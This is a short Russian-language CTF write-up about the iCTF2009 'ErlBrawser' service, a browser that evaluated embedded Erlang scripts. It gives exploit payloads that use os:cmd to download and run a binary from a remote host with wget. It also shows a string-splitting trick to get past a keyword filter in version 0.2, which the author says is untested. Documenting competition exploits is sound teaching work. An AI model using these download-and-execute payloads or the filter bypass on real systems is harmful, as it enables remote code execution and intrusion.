Новости iCtf2009 :: ErlBrawser

blackzert
, 11 декабря 2009

Помоему, большая несправедливость, оставлять разбор игры без внимания. Поэтому, начну.

Как было уже сказано в статьях про iCtf2009, браузеры заходили к командам..

Итак, один из браузеров - erlbrawser предусматривал две версии браузера - 0.1 и 0.2. Начну с первой.

Скрипт получал страничку сайта, после чего разбирал её по тегам.  Если встречал скрипт типа erlangscript, то выполнял его. Т.е. если встречался тег <script type="text/erlangscript">  </script> то его содержимое отправлялось на eval.

Итак, сплоит:

<script type="text/erlangscript">Res = os:cmd("wget http://10.28.0.137/spl_bin ; chmod +x spl_bin; ./spl_bin").</script>

Данный финт нужен чтобы избежать ненужного гемороя по изучению скрипта и прочего и прочего +)

В версии 0.2, прежде чем выполнить скрипт, в нем проверялось вхождение строк "cmd" и "port". cmd как можно было понять, аналогична system() для C, а port - это чтото вроде UNIX дескриптора. Для обхода этого, заменим cmd на cm__m__d. А потом отфильтруем.

<script type="text/erlangscript">Res =" os:cm__m__d(\"wget http://10.28.0.137/spl_bin ; chmod +x spl_bin; ./spl_bin\")",Res = strreplace("__m__","",Res), safe_run(Res).</script>

Как то так. Второй вариант не проверял, но логика думаю понятна.